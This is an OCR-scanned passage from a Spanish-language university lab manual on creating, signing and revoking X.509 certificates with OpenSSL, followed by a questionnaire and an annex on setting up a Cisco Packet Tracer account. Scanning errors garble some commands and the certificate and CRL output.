le indicara la frase privada para la clave privada. (ver Figura No. 8)

redes@debian:/home/redes/openssl/OpenSSL _iniciales# openssl genrsa —aes256 —out
priv.pem —passout pass:clave 2048

NOTA : clave se sustituye por la clave privada que desee el equipo, puede ser una frase o una
palabra.

root@EBIAN2023: /home/redes/openssl/0pensSL_lab# openssl genrsa -aes256 -out priv.pe
m -passout pass:clave 2048
Generating RSA private key, 2048 bit long modulus (2 primes)

e 1s 65537 (0x010001)
root@DEBIAN2023: /home/redes/openssl/0penssL lab# ]

4.4.2

Figura No. 8. Creacion de la clave privada del certificado

Verifique que el archivo priv.pem se haya creado en su home e identifique en su contenido los
encabezados.

redes@debian:/home/redes/openssl/OpenSSL _iniciales# cat priv.pem

4.4.3

El segundo paso es realizar una CSR donde se define el propietario del mismo. El siguiente
comando hace una peticion con el parametro subj en donde especificamos a quién pertenece
el certificado dentro de las comillas separadas por la /. Asi mismo, se indica la clave privada
que serd utilizada con el certificado ademas de la frase password.
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redes@debian:’home/redes/openssl/OpenSSL_iniciales# openssl req —new —subj “/DC=fi-
b.unam.mx/OU=LabRedes/CN=fi-b” —key priv.pem —passin pass:clave —out peticion.pem

IX. Investigue los argumentos del parametro subj.

X. Indique el nombre del archivo de salida de este comando y el parametro que lo genera.

4.4.4 Verifique que el archivo peticion.pem se haya creado en el directorio actual.

redes@debian:’home/redes/openssl/OpenSSL_iniciales# Is

4.5 Firma del certificado digital

Los certificados permiten que un individuo demuestre que es quien dice ser, ya que esta en posesiéon
de la clave secreta asociada a su certificado y inicamente son utiles si existe una AC que los valide,
pues si uno mismo se certifica no hay garantia de que la identidad que se muestra sea auténtica.

Un administrador de redes debe ser capaz de verificar que un AC ha emitido un certificado y detectar
siun certificado no es valido. Para evitar la falsificacion de certificados la entidad certificadora después

de autenticar la identidad del sujeto, firma digitalmente el certificado.

4.5.1 Contando con el archivo de configuracion, teclee el siguiente comando que genera el certificado
firmado por la AC ya creada.

redes@debian:/home/redes/openssl/OpenSSL _iniciales# openssl x509 —CA cacert.pem —CAkey
cakey.pem —req —in peticion.pem —days 365 —sha1 —CAcreateserial —out servidorcert.pem

XII. Investigue el funcionamiento del comando anterior.
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4.5.2 La aplicacion solicita el password de la AC que firma el certificado, introduzca el password
configurado inicialmente (.r3d3s.), ver Figura No. 9.

root@EBIAN2023: /home/redes/openssl/0penSSL_lab# openssl x589 -CA cacert.pem -CAkey cakey.pem
-req -in peticion.pem -days 365 -shal -CAcreateserial -out servidorcert.pem

Signature ok

subject=DC = fi-b.unam.mx, OU = LabRedes, CN = fi-b

Getting CA Private Key

Enter pass phrase for cakey.pem:

root@EBIAN2023: /home/redes/openssl/0OpenSSL_lab# I

Figura No. 9. Solicitud de la frase password
4.5.3 Verifique que el certificado se haya creado y analice su contenido. (ver Figura No. 10)

redes@debian:/home/redes/openssl/OpenSSL _iniciales# Is
redes@debian:/home/redes/openssl/OpenSSL iniciales# cat servidorcert.pem

root@DEBIAN2823: /home/redes/openssl/0penSSL lab# cat servidorcert.pem
————— BEGIN CERTIFICATE-----
MIIDSzZCCAJMCFB7dhH+pal/34hbG25Vg2qIKL50TMARGCSqGSIb3DOEBBQUAMIGD
MOswCQYDVOQGEWINWDENMASGAIUECAWEQBRNWDEMMAOGALUEBWWOTGFiMOwwCgYD
VOOKDANMOVIxDDAKBgNYBASMAGXBU]EPMABGAIUEAWWGTGFiUNLTMSowKAY JKoZI
hvcNAQKBFhtsYWIucmVkeXN1Z3VyaWRhZEBnbWFpbC5jb20wHhcNMjMwNIEZMjIx
OTUxWhcNMjQwNjEIM] ITxO0TUxW]BAMRWWGgYKCZImiZPyLGOBGRYMZmktY151bmFt
Lm14MREWDWYDVQOQLDARMYWISZWRLcZENMASGAIUEAWWEZmKTY jCCASIwDOY IKoZI
hvcNAQEBBOADgYEPADCCAQOCOQERBAMdYEsUBacM3125CT4kHB890eAShLTX3d1/nY
CTOsZPr4HACDVOQUINNFKMbRGZmMmLDUSjt8SQGYTLEZiDmIBn1KDId@7Pal6elm7ar
mIUkkuccORB85T1USbD2aN7 Lp0B9sXiQozoXWntABGCA3YsvYGIZWhIgtTAnoKoT
AVyFIk6risqbNgFDN8tuSiWuxdEJkna7CwaFWdN3nerTpzAa/qipl+Dr60XkrafD
6sgXVwve9IL5sRF50pJiXIkaHnSMg2LPg8UwSasSRPcGhZKkPYLKilIetimGFa25V
vikFkiVgMPwwconZE+2wl0J0k3Lx1V0cDcgelbacX21G6szICPWXUCAWEAATANBgkg
hkiGowoBAQUFAAOCAQEANGO j CNVWKMxvGGAMd2T1IAW3IXKBSeRF+6hALHNT2upqgijb
BNMXTg310T4atakml8Pwzkog8WFBDD6Y LdoIQ@iGYTLtYvGSDrbChskbwyqJLHY j
7o00r4nj@/xhFIHBScHT/BLVrC1B181eki2ex6IVovepTOoqliiac+TIODFanAozl
MkAHQKCaiPXa5+0g7 jcUnYA3411j/08ekIbZVdXPzfdnfp44/350lyCi1qSIDktg
c TWwKIvNEL4DRARZgouoGGp1ixkDWnez9SUcPOjR1ZzFITKIq42 11 Z7alw+kTkYhTw
BTM22L7Z2XuVZ+TrEm/8PSdIh0a8TRLLbNEZwIuBMg==

----- END CERTIFICATE-----
root@DEBIAN2023:/home/redes/openssl/0penssL lab# [

Figura No. 10. Contenido del certificado creado
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Hasta este punto se ha creado un certificado que puede ser empleado para implementar un servidor
que permita dar soporte a sitios Web certificados bajo SSL, Capa de Socket Seguros (Secure Socket
Layer) en servidores Apache, por ejemplo.

4.5.4 Ejecute el siguiente comando que permite obtener informacidn sobre el certificado recién
creado (ver Figura No. 11).

redes@debian:/home/redes/openssl/OpenSSL_iniciales# openssl x509 —in
servidorcert.pem —text —noout

root@DEBIAN2023: /home/redes/openssl/0penSsL lab# cat servidorcert.pem
————— BEGIN CERTIFICATE-----
MIIDSzCCAjMCFB7dhH+pal/34hbG25Vg2qIKL50TMARGCSgGSIb3DQEBBQUAMIGD
MOswCQYDVOQGEWINWDENMASGALUECAWEQBRNWDEMMAOGA LUEBWWOTGFiMOwwCgYD
VOQKDANMQVIxDDAKBgNVBASMABXBUjEPMABGAIUEAWWGTGFiUNTTMSowKAYIJKoZT
hvcNAQkBFhtsYWIucmVkeXN1Z3VyaWRhZEBnbWFpbC5 jb20wHhcNMjMwNjEZMjIx
OTUXWhCNMjQwNjELIM] IxOTUXW]BAMPWWGgYKCZImiZPyLGQBGRYMZmktYi51bmFt
Lm14MREWDWYDVQQLDARMYWISZWRLcZENMASGALIUEAWWEZmKTY jCCASIWDQYIKOZI
hvcNAQEBBQADggEPADCCAQoCOYEBAMdYG6suBacM3125CT4kHB98eAShLTX3d1/nY
CfOsZPr4HACDVQUINNFKMbRGZmm1DUSj t8SQGYTLEZiDm9Bn1KDIde7Pal6lm7ar
mIUkkuccORG8ST1U3bD2aN71p0B9sXifozoXVntAB6CA3YsvYGIZWhIgtTAnoKoT
4VyFIk6risqbNgFDN8tuSiWuxdEJkna7CwaFWdN3nerTpzAa/qipl+Dr60XkrofD
65gXVwvedIL5sRF50p]iXIkaHnsSMg2LPg8UwSasSRPcGhZKkPYLKi)IetimGFa25V
voKFKkiVgMPwwenZE+2w10J0k3Lx1V0cDcgelbacXx21GszICPWXUCAWEAATANBgkg
hkiGIwBBAQUFAADCAQEANGO ] CnVwWKMxvGG4Md2t1AWIXKBSeRF+6hALHNT2upqjb
BNMXTq310T4atakml8Pwzkog8WFBDD6Y ldoIQ@iGYTLLYvGSDrbChskbwygJLHY ]
700r4nj@/xhFIHBScHT/8LVrC1lB18l1eki2ex6IV5vOpTQoqCiiac+TIODFanAozl
MkAHQKCaiPXaS+0g7jcUnYA3411j/08ekIbzZvdXxPzfdnfp44/ISolyCilqSIDktg
cTWwKIvNEL4DRARZgouoGGpixkDWnez9SUcPOjR1ZFITKIq4211Z7alw+kTkYhtw
BTM22LT7Z2XUuVZ+TrEm/8PSdIhGasTRLLbNEZwIuBMg==

----- END CERTIFICATE-----

root@DEBIAN2823: /home/redes/openssl/0OpenssL lab# [

Figura No. 11. Informacidn del certificado creado

XIIIL. Indique la informacién proporcionada por el comando anterior.
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4.6 CRL, Listas de Anulacion de Certificados

Los certificados tienen un periodo de validez, durante el cual la AC debe mantener la informacién de
las entidades. Entre los datos mas importantes que deben ser actualizados se encuentra el estado de
anulacion del certificado, el cual indica que el periodo de validez ha terminado antes de tiempo y el
sistema que lo emplee no debe confiar en él.

XIV. Investigue las razones por las cuales un certificado ya no es vdlido.

Las CRL (Listas de Anulacién de Certificados - Certification Revocation List) son un mecanismo a través
del cual la AC da a conocer y distribuye la informacién acerca de los certificados anulados a las
aplicaciones que los emplean. Estas estructuras de datos firmadas por la AC contienen su fecha y hora
de publicacion, el nombre de la entidad certificadora y los numeros de series de los certificados
anulados que ain no han expirado.

Un administrador de redes debe obtener la ultima CRL de la entidad que firma el certificado que

emplean sus aplicaciones y verificar que los nimeros de series de sus certificados no estén incluidos
en tal lista.

XV. Mencione 2 métodos de actualizacion de CRL.

El objetivo de este punto es manipular el archivo de configuracién de OpenSSL asi como los comandos
que permiten revocar certificados y generar listas de revocaciones.

4.6.1 Modifique el archivo de configuraciéon openssl.cnf
redes@debian:’home/redes/openssl/OpenSSL_iniciales# nano /etc/ssl/openssl.cnf
y reemplace la linea dir=./demoCA por dir=.

NOTA: Existen dos dir=./demoCA, uno en [CA default] y otro en [tsa_config1]

4.6.2 Enelmismo archivo del punto anterior, coloque un signo # para comentar las siguientes lineas:

173




\NGENIERI4 Cddigo: MADO-32
Manual de practicas del Ve’rs!on: 05
. i < Pagina 174/189
Laboratorio de Administracion v
Secciéon ISO 8.3
de Redes Fecha d
echa de 11 de agosto de 2023
emision
Area/Departamento:

Facultad de Ingenieria

Laboratorio de Redes y Seguridad

La impresion de este documento es una copia no controlada

# unique_subject =no
# crinumber = $dir/crlnumber

4.6.3 Cree un archivo de nombre index.txt en el directorio de trabajo.

Redes:OpenSSL _iniciales# touch index.txt

4.6.4 Revoque el certificado creado mediante el siguiente comando. (ver Figura No. 12)

redes@debian:/home/redes/openssl/OpenSSL_iniciales# openssl ca -keyfile cakey.pem -cert

cacert.pem -revoke servidorcert.pem

cacert.pem -revoke servidorcert.pem
Using configuration from /usr/lib/ssl/openssl.cnf
Enter pass phrase for cakey.pem:

C=fi-b.unam.mx/0U=LabRedes/CN=fi-b

Revoking Certificate 1EDD847FA96ASFF7E216CG6DBI560DAAZOA97IDIF.
Data Base Updated

root@EBIAN2023: /home/redes/openssl/0penSSL_lab# I

Figura No. 12. Revocando un certificado

root@EBIAN2023: fhome/redes/openssl/0penS5L lab# openssl ca -keyfile cakey.pem -cert

Adding Entry with serial number 1EDD847FA96ASFF7E216C6DB9560DAAZ0A979D1F to DB for /D

Esta operacion no modifica el certificado, simplemente actualiza el contenido del archivo de la base de

datos index.txt.

XVI. Describa el contenido de dicho archivo.

NOTA: La revocacion de un certificado no es conocida hasta la publicacién de la CRL.

4.6.5 Genere una CRL a través del siguiente comando introduciendo la frase password de la clave

privada de la AC (.r3d3s.) (ver Figura No. 13).

redes@debian:/home/redes/openssl/OpenSSL_iniciales# openssl ca -gencrl -keyfile cakey.pem -

cert cacert.pem -out ejemplo.crl
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root@DEBIAN2023: /home/redes/openssl/0penSSL lab# openssl ca -keyfile cakey.pem -cert
cacert.pem -revoke servidorcert.pem

Using configuration from fusr/lib/ssl/openssl.cnf

Enter pass phrase for cakey.pem:

Adding Entry with serial number 1EDD847FA96ASFF7E216C6DB9560DAA20A979D1F to DB for /D
C=fi-b.unam.mx/0U=LabRedes/CN=Fi-b

Revoking Certificate 1EDDB847FA96ASFF7E216C6DB9560DAA20A97IDLF.

Data Base Updated

root@EBIAN2023: /home/redes/openssl/0penS5L lab# openssl ca -gencrl -keyfile cakey.pe
m -cert cacert.pem -out ejemplo.crl

Using configuration from fusr/lib/ssl/openssl.cnf

Enter pass phrase for cakey.pem:

root@EBIAN2023: /home/redes/openssl/0penSSL lab# I

Figura No. 13. Creacion de una CRL, Lista de Revocacion de Certificados
4.6.6 Visualice el contenido del archivo creado en el punto anterior (Figura No. 14).

redes@debian:’home/redes/openssl/OpenSSL iniciales# cat ejemplo.crl
root@EBIAN2023: fhome/redes/openssl/0OpenSSL lab# cat ejemplo.crl
————— BEGIN X509 CRL-----
MIIB8zCB3DANBgkghkiGOwOBAQsFADCBgZELMAKGALIUEBhMCTYgxDTALBgNVBAQM
BENETVgxDDAKBEgNVBACMABxhY jEMMA0GALIUECQWDTEFSMOwwCgYDVOOLDANMOVI x
DzANBgNVBAMMBExhY1J15UzEqMCgGC5qGSIb3DQEJARYbbGFilnILZH zZWdlemLk
YWRAZ21haWwuY29tFwByMzAZMTYyMj03MzhaFwlyMzA3IMTYyMjO3MzhaMCcwIQIU
Ht2ET61gX/TiFsbblWDaoggXnR8XDTIzMDYxNjIyNDUz0FowDQYIKoZThvcNAQEL
BQADggEBABZvcTox21PHelxX9,/191CFUaRHypS+gzEpoQWy7NclzunuVERkK325Md
YANWONDbrTd74TesHQIWpkWb18u02IA4ru+9J0XYe7yony3NrEjiZmPuDOLGOXI+H
kex@0OmCxS+EVUXzzWIAMESScDZUxtWOuIOgbbOgaxFvRrIuxPgAmbk0SePuqqglLcB
6yIIsS+hoAwOWDdlz7+xFL1I56070xsG1Fp39TgZ6UxUCSg]jGAgZku@AILuwRRGa
fMuPonzjFk70EGNIFIYXIDMASWgV6JS4YtjpTYMoe/ yv8QkWSmPUPUL/c2hBB3g]j
05gVk]j/3bYOFFXmZFdMXcylBOvOoHU=

————— END X589 CRL-----

root@EBIAN2023: /home/redes/openssl/0OpenSSL lab# I

Figura No.14 Contenido del ejemplo ejemplo.crl

4.6.7 Para obtener informacion acerca de la lista de revocacion de certificados, ejecute el siguiente
comando y observe que la salida debe ser similar a la Figura No. 15.

redes@debian:/home/redes/openssl/OpenSSL_iniciales# openssl crl —in ejemplo.crl —text —nhoout
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root@DEBIAN2023:/home/redes/openssl/0penSSL_lab# openssl crl -in ejemplo.crl -text
-noout
Certificate Revocation List (CRL}):
Version 1 (0x0)
Signature Algorithm: shaz236WithRSAEncryption
Issuer: € = MX, ST = COMX, L = Lab, 0 = LAR, 0OU = LAR, CN = LabRyS, emailAd
dress = lab.redysequridad@gmail.com
Last Update: Jun 16 22:47:38 2023 GMT
Next Update: Jul 16 22:47:38 2023 GMT
Revoked Certificates:
Serial Number: 1EDD847FA96ASFF7EZ216C6DB9560DAAZOA9T79D1F
Revocation Date: Jun 16 22:45:38 2023 GMT
Signature Algorithm: sha256WithRSAEncryption
16:6T:71:fa:31:da:53:c7:7b:5c:57:f7:19:7d:24:21:54:69:
11:f2:a5:2f:a0:cc:4a:68:41:6b:Tb:35:cd:73:ba:7b:95:11:
19:37:d9:23:1d:60:03:70:a8:d6:eb:4d:de:f8:4T:ab:07:40:
85:29:91:66:T5:f2:e3:b6:20:0e:2b:bb:ef:49:d1:76:1e:ef:
2a:27:cb:73:6b:12:38:99:98:fb:83:38:b1:b4:5¢c:8f:87:91:
ec:74:3a:60:bl1:4b:el1:15:b9:7c:T3:58:80:1d:13:c4:9c:0d:
95:31:b5:63:3e:20:ea:9b:6c:ea:9%9a:c4:5b:d1l:ac:8b:bl:3e:
ab:26:6e:43:92:78:fb:aa:a8:b7:01:eb:22:08:bl:2f:al:a0:
0c:0e:58:37:65:cf:bf:bl:14:bB8:88:e7:a4:3b:d3:1b:06:d4:
5a:77:15:3a:99:e9:4c:54:0b:93:23:18:08:19:92:ed:00:20:
bb:b0:45:11:9a:7c:cb:8f:a2:7c:e3:16:4e:14:10:63:49:14:
86:17:24:33:00:b1:68:15:e8:94:b8:62:d8:29:4d:83:28:7b:
fc:af:71:09:16:4a2:63:d4:3d:48:bf:73:68:41:07:78:23:41:
28:15:90:98: ff:dd:b6:3d:14:55:e6:64:57:4c:5d:cc:a5:04:
eb:T4:a0:75
root@EBIAN2823:/home/redes/openssl/0penssL lab# ]

Figura No. 15. Contenido de una CRL, Lista de Revocacion de Certificados

XVIL Indique qué significa la salida del comando anterior

En este momento el certificado creado ha sido revocado. El profesor o la profesora indicara cual es el
procedimiento para que los usuarios revisen la validez de los certificados.

5. Conclusiones
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PRACTICA 11

Mecanismos de Seguridad, Certificados Digitales
Cuestionario Previo

1. Investigue en al menos 3 aplicaciones de los certificados digitales.
2. Investigue al menos 2 herramientas adicionales que permitan la administracién de

certificados.

Describa brevemente el funcionamiento basico de un certificado digital.

3

4. Investigue en qué consiste el estdndar ISO 27002.

5. Investigue qué es una CPS (Declaracion de Practicas de Certificacion - Certification Practice
Statement) dentro de una AC (Autoridad Certificadora).

6. Investigue los elementos del formato de un certificado X.509
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Anexo

Manual para la creacion de una
cuenta en Skills for All para
descargar y emplear Cisco Packet

Tracer

179




\NGENIERI4 Cddigo: MADO-32
Manual de practicas del Ve’rs!on: 05
. . iy Pagina 180/189
Laboratorio de Administracion v
Secciéon ISO 8.3
de Redes Fecha d
echa de 11 de agosto de 2023
emision
Area/Departamento:

Facultad de Ingenieria

Laboratorio de Redes y Seguridad

La impresion de este documento es una copia no controlada

1. Objetivo

El alumno o la alumna realizard el proceso correspondiente para la creacién de una cuenta personal

en el software Cisco Packet Tracer.

2. Instrucciones

Lea detenidamente y siga cada uno de los pasos que se describen a continuaciéon para obtener su

cuenta personal.

Es importante que cada estudiante obtenga su cuenta para emplear Cisco Packet Tracer, en caso
contrario NO podra realizar las practicas de la asignatura.

a) Proceso parala obtencion de cuenta personal.
2.1 Pararealizar la instalacién de Cisco Packet Tracer, ingrese al siguiente sitio:

https://prelogin-authoring.netacad.com/es/courses/packet-tracer

El sitio debe de tener una vista similar ala de la Figura No. 1, busque y dé clic en el curso Getting
Started with Cisco Packet Tracer.
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Cisco Packet Tracer p
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Introduccidn
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Figura No. 1. Sitio NETACAD
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2.2 Al dar clic aparecerd una ventana emergente indicando que se le redireccionara a un nuevo
sitio (Figura No. 2).

Este curso ahora esta mejorado y disponible en
un nuevo sitio web. Esta disefiado para que sea
mas atractivo y eficiente,

Se lo redirigira al sitio web
Habllidades para todos con Cisco. Una vez alli,

‘ inscribase en un curso de Cisco Packet Tracer
A para descargar el software y comenzar.
- |
|2 h Sila ventana no se ha ablerto, seleccione este entace
Habilidades pars todos

Getting Started with Cisco Pa

/
Ensefanza con Packet Tracer L ) > Preguntas frecuentes sobre Packet Tracer

Figura No. 2. Ventana emergente

2.3 Una vez dentro del sitio Skills for All, seleccione el idioma de su preferencia y dé clic en
Comenzar (Figura No. 3).
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Plarned Mantensnce

Figura No. 3. Seleccién de idioma

2.4 Si tiene una cuenta inicie sesion, de lo contrario dé clic en Crear cuenta (Figura No. 4).

Skills for All con ©isco

Cursos GratuRos en Iines eosidacos por i expetiencis de
3900 y COnCianos CON Carmras profesionales reales

Figura No. 4. Creacién de cuenta
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2.5 Complete los campos con la informacién que se le pide, seleccionando la opcién que mejor se

adapte a su caso (Figura No. 5).

Skills for All con Cisco

Cursos gratultos en linea respaldados por la experiencia de
Cisco y conectados con carreras profesionales reales,

«

Inscribase
Podrad comenzar 1as clases tan pronto cOmo e registre

Registrese con

o TR

Crear nueva cuenti

0n 08 1650enci

Seleccionar pais

Ao Ce nacimiento

Seleccionar afio

Figura No. 5. Datos del usuario

Seleccionar mes

1Ya tiene una cuenta? iniciar sesion

2.6 Una vez completado, se aceptan términos y condiciones (Figura No. 6).

férmings y condiciones

Térmnos y condiciones para el uso de sitios web y senvicios de Cisco Networking Acadermy

1. Aspectos basicos.Los sitios NetAcad com y SkifsForAll com son siios web ("Sitios web”) demro de Cisco
Networking Academy Program (*Programa”), Cisco apera y brinda acceso a una variedad de sitios web y
micrositios relacionados con e Programa a los que pueden acceder los usuanos (inclides estudiantes, no
estudiantes y egresados) que tienen un nombre de usuano y contrasedas de Cisco Los Sitos web mncluyen
conteride relevants para el Programa y tambien estin doefados pars perretic s fed ales  la
colaboracidn {*Servicios”) entre los usuanos. Los Sefvicios le permiten & un usuanio o rfiles personaiss
{cada uno lamado *Perfil”) que otros usuanios pusden buscar y ver. Los Servicios también admiten foros de
debute, chal, mensajeria electronica, hemamientas de encuestss, blogs, wikis u OIras heramientas de
colsboragion gue Cisco efja para poner 8 su dispesicion a criteno. Cisco pueds modificar, mejorar, restringr o
cancelar los Sitios web y Senicios a su discrecion en cualguier MOMEenta y Sin previo svisa

El Programa funciona de acuerdo con las leyes de privacidad globales, incluidas las leyes que afectan la

jprivacidad de los nifios. B registro o el uso del Prog a ninos. Para los fines del
Programa, consideramos que Una persona es un nifio si la legislacion aplicable limita el procesamiento de

Figura No. 6. Términos y condiciones
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2.7 Al finalizar el procedimiento de registro se accede al sitio donde se encuentra el curso, en el
primer moédulo, en el apartado 1.0.3 Descargue Cisco Packet Tracer se encuentra el enlace al
sitio de descarga (Figura No. 7).

Introduccion a Cisco Packet Tracer

[ 1rem— e Corve N @ P

Macdkdn | Dwer srgee y Use Clnco Pacbot Trse e g

1.0.3 Descargue Cisco Packet Tracer

10 Wt Ohmin Pashat Tosewd

Modun I Cramcin o wes v Coace Pachet Trace

W s o o ke St Sel Curne Ciaco Pachet

Traew

Figura No. 7. Enlace de descarga

2.8 Dé clic en el enlace y lo redireccionara a un nuevo sitio donde se encuentran los pasos a seguir
para realizar la descarga e instalacion del programa (Figura No. 8).
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Cinco Packet Traces

-w"- : : S

Cybervecurity LabVM e Regere ey
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Figura No. 8. Instalacién
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b) Proceso para la utilizacion de Cisco Packet Tracer

2.1 Al ejecutar la aplicacion Cisco Packet Tracer aparecerd la Figura No. 9, debe seleccionar la
opcion Skills for All

Cisco Packet Tracer

Sign in using one of the following options

etfret) e Networking

CISCO  Academy

Networking Skills for All
Academy

Keep me logged in
Not recommended for public or shared computers

By using Cisco Packet Tracer you accept the Terms Of Service (EULA & SEULA) and The Privacy
Statement

Figura No. 9. Cisco Packet Tracer

2.2 Sera dirigido a la pagina que se observa en la Figura No. 10, en ella debera ingresar su correo
electronico y contrasefia correspondientes a la cuenta creada.
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«

iLe damos la bienvenida!

Inicie sesion en su cuenta

Cofreo electronico

Skills for All con Cisco

Cursos gratuitos en linea respaldados por la experiencia
de Cisco y conectados con carreras profesionales reales.

Contrasefia

[J Recordar usuano

O continde con

oo D

¢No tiene cuenta? Inscribace

Figura No. 9. Cuenta en Cisco Packet Tracer

2.3 Al ingresar la informacién del paso anterior visualizara la Figura No 11, podra cerrar dicha
pestafia y comenzar a trabajar en la aplicacion Cisco Packet Tracer (Figura No. 12).

You have successfully logged in to Cisco Packet Tracer. You may close this tab.

Figura No. 11. Acceso correcto a Cisco Packet Tracer
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L TSwiact 3 Devce 1o Drag and Drop 10 the Fonspace]

Figura No. 12. Aplicacién Cisco Packet Tracer
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